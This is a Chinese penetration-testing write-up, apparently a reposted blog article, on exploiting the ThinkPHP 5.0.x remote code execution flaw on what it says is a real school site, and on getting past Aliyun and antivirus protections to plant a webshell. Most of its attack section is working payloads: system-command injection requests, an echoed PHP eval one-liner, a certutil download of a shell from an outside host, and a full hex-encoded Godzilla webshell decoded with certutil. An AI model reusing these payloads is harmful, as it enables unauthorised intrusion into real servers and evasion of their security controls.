TP-RCE绕过阿里云防护Getshell

简介: TP-RCE绕过阿里云防护Getshell

0x01 前言

这篇文章记录的是笔者在阅读某公众号发布的“记一次对****某校区失败的渗透测试”文章时发现存在漏点,找到目标站点并对原文章作者在Getshell时遇到的问题进行了一些测试,Getshell失败的原因他认为是Assert、Eval被禁用或者360安全防护问题,其实都不是。

漏点处出在Burpsuite请求/响应包中以及****等关键字。


0x02 TP-RCE漏洞利用与杀软对比

这是一个后台登录页,基于ThinkPHP V5.0.20框架,可利用ThinkPHP 5.0.0~5.0.23 RCE漏洞直接执行系统命令,不同小版本之间利用的Payload可能会有些差别。

    _method=__construct&filter=system&a=whoami
    http://192.168.1.7/ThinkPHP/public/index.php?s=captcha
    post_poc1:_method=__construct&filter[]=system&method=get&get[]=whoami
    post_poc2:_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami


    通过与tasklist /svc命令结果对比发现为阿里云主机,并且安装的有服务器安全狗、360安全卫士和微软自带的Windows Defender,所以不能直接用以下两种方式来进行测试

    • 1. 360安全卫士和服务器安全狗都会拦截Net/Net1添加用户行为,所以没办法直接添加管理员用户。
    • 2. 360安全卫士Windows Defender也会拦截Mshta、Powershell等程序的执行,而且还有特征查杀和AMSI,所以暂时不考虑用MSF和CS来获取会话,因为免杀、传文件和执行方式都是问题......!


    0x02 绕过阿里云主机防护Getshell

    (1) 常规思路写Webshell这里我们可以先利用dir命令查看当前网站绝对路径,然后再用echo命令写入一个PHP Webshell,不过在写入<?php @eval($_POST[cmd]);?>一句话木马时发现被拦了,正常内容是可以写入的。

    当我们写入的Webshell特征被阿里云防护检测到时就会被拦截并Ban掉IP,会触发告警,链接被重置,网站暂时无法访问等,这也就是原文章作者Getshell失败的原因了。


    1、列出当前目录


    _method=__construct&filter=system&a=dir

    2、写入PHP一句话木马


    _method=__construct&filter=system&a=echo ^<?php @eval($_POST[cmd]);?^> > E:\phpstudys\PHPTutorial\WWW\bm\public\static\shell.php

    在遇到这类云主机防护时可以尝试更换为免杀Webshell,这里我用的是“哥斯拉”生成的PHP木马。但问题又来了,哥拉斯的马并不是“一句话”,有34行,无法直接利用echo命令来写入,那么又该通过怎样的方式来写入这个PHP木马呢?接着往下看。


    (2) Certutil远程下载Webshell

    这里笔者首先想到的是certutil,当然也可以选择其他远程下载文件方式!RCE这类漏洞中利用certutil下载文件时建议加上cmd.exe /c,因为这样能绕过火绒应用加固中的“Web服务器”防护,也有可能可以绕过其他安全软件对certutil执行的拦截。


    _method=__construct&filter=system&a=cmd.exe /c certutil.exe -urlcache -split -f http://betaseclab.com/bypass/shell.txt E:\phpstudys\PHPTutorial\WWW\bm\public\static\shell.php


    (3) Certutil编码上传Webshell

    将“哥斯拉”的PHP木马在https://www.107000.com/T-Hex上进行一次或多次编码,然后将编码后的内容用set命令写入,最后再用certutil命令的decodehex参数将其解码并写入到shell.php文件即可。


    _method=__construct&filter=system&a=cmd.exe /c set /p="3C3F7068700A2020202073657373696F6E5F737461727428293B0A20202020407365745F74696D655F6C696D69742830293B0A09406572726F725F7265706F7274696E672830293B0A2020202066756E6374696F6E20452824442C244B297B0A2020202020202020666F722824693D303B24693C7374726C656E282444293B24692B2B29207B0A20202020202020202020202024445B24695D203D2024445B24695D5E244B5B24692B312631355D3B0A20202020202020207D0A202020202020202072657475726E2024443B0A202020207D0A2020202066756E6374696F6E2051282444297B0A202020202020202072657475726E206261736536345F656E636F6465282444293B0A202020207D0A2020202066756E6374696F6E204F282444297B0A202020202020202072657475726E206261736536345F6465636F6465282444293B0A202020207D0A2020202024503D2770617373273B0A2020202024563D277061796C6F6164273B0A2020202024543D2733633665306238613963313532323461273B0A2020202069662028697373657428245F504F53545B24505D29297B0A202020202020202024463D4F2845284F28245F504F53545B24505D292C245429293B0A202020202020202069662028697373657428245F53455353494F4E5B24565D29297B0A202020202020202020202020244C3D245F53455353494F4E5B24565D3B0A20202020202020202020202024413D6578706C6F646528277C272C244C293B0A202020202020202020202020636C61737320437B7075626C69632066756E6374696F6E206E766F6B6528247029207B6576616C2824702E2222293B7D7D0A20202020202020202020202024523D6E6577204328293B0A09090924522D3E6E766F6B652824415B305D293B0A2020202020202020202020206563686F20737562737472286D64352824502E2454292C302C3136293B0A2020202020202020202020206563686F20512845284072756E282446292C245429293B0A2020202020202020202020206563686F20737562737472286D64352824502E2454292C3136293B0A20202020202020207D656C73657B0A202020202020202020202020245F53455353494F4E5B24565D3D24463B0A20202020202020207D0A202020207D" <nul >> E:\phpstudys\PHPTutorial\WWW\bm\public\static\hex.txt


    _method=__construct&filter=system&a=cmd.exe /c certutil -decodehex E:\phpstudys\PHPTutorial\WWW\bm\public\static\hex.txt E:\phpstudys\PHPTutorial\WWW\bm\public\static\shell.php

    用哥斯拉连接后发现在基础信息里获取的系统版本与systeminfo命令获取的系统版本不一致,这应该算是哥拉斯的一个小BUG吧,但影响不大

    由于是国内的网站,所以笔者这里只对Getshell问题进行了测试,并没有进行下一步测试,写入的文件也已经删除了,有兴趣的老哥可以在自己阿里云主机上安装一个ThinkPHP 5.0.0~5.0.23 RCE靶场环境进行测试

    ThinkPHP5.0.20完整版:

    http://www.thinkphp.cn/donate/download/id/1155.html

    相关文章
    |
    安全 关系型数据库 MySQL
    windows提权总结
    windows提权总结
    607 1
    |
    10月前
    |
    机器学习/深度学习 人工智能 计算机视觉
    标签噪声下的模型评估:如何准确评估AI模型的真实性能,提高模型性能测量的可信度
    本文探讨了测试数据标签错误对模型性能评估的影响,分析了如何估计模型的“真实”准确率。通过图像分类案例,揭示了标签噪声与模型性能间的复杂关系。当模型错误与标签错误独立时,真实准确率通常高于测量值;但实际中两者常相关,导致真实准确率更接近下限。文章提出通过深入错误分析、评估相关性和多标注等方式优化性能评估,强调理解这些关系对提升模型可信度的重要性。
    336 2
    标签噪声下的模型评估:如何准确评估AI模型的真实性能,提高模型性能测量的可信度
    |
    安全 Java 网络安全
    Struts 2.0.0 至 2.1.8.1 远程命令执行(CVE-2010-1870)
    Struts 2.0.0 至 2.1.8.1 远程命令执行(CVE-2010-1870)
    |
    中间件 Shell PHP
    |
    Linux Python
    Python- jinja2模块详解
    Python- jinja2模块详解
    1414 1
    |
    数据安全/隐私保护
    BUU [HCTF 2018]admin
    BUU [HCTF 2018]admin
    183 0
    |
    开发框架 安全 .NET
    文件上传漏洞技术总结
    该文总结了文件上传技术相关的漏洞和绕过方法,包括语言可解析的后缀(如phtml、pht)、常见的MIME类型、Windows特性(如大小写、ADS流、特殊字符)、0x00截断技巧(需满足PHP版本和magic_quotes_gpc状态)、POST型0x00截断、文件头检查(通过合成图片马绕过)、二次渲染(利用未修改部分插入恶意代码)以及各种服务器的解析漏洞(Apache的.htaccess、解析漏洞,IIS的目录解析、文件解析、默认解析和IIS 7.x/Nginx的畸形解析)。此外,还提到了Java的空字节截断问题。
    553 1
    文件上传漏洞技术总结
    |
    应用服务中间件 数据库连接 数据安全/隐私保护
    MSSQL绕过360提权实战案例
    MSSQL绕过360提权实战案例
    592 2
    |
    安全 Shell 网络安全
    抄个冷板凳---x86架构MS-17010漏洞的多重利用方法
    x86架构永恒之蓝漏洞的多重利用复现演示